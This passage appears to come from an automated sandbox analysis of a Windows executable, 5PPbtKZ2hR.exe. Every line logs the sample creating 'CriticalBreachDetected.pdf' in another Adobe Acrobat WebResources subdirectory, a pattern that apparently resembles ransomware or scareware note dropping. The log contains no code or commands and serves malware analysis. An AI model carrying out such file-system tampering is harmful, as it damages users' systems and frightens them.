Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\microsoftGraph\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\2.1.15\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\misc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
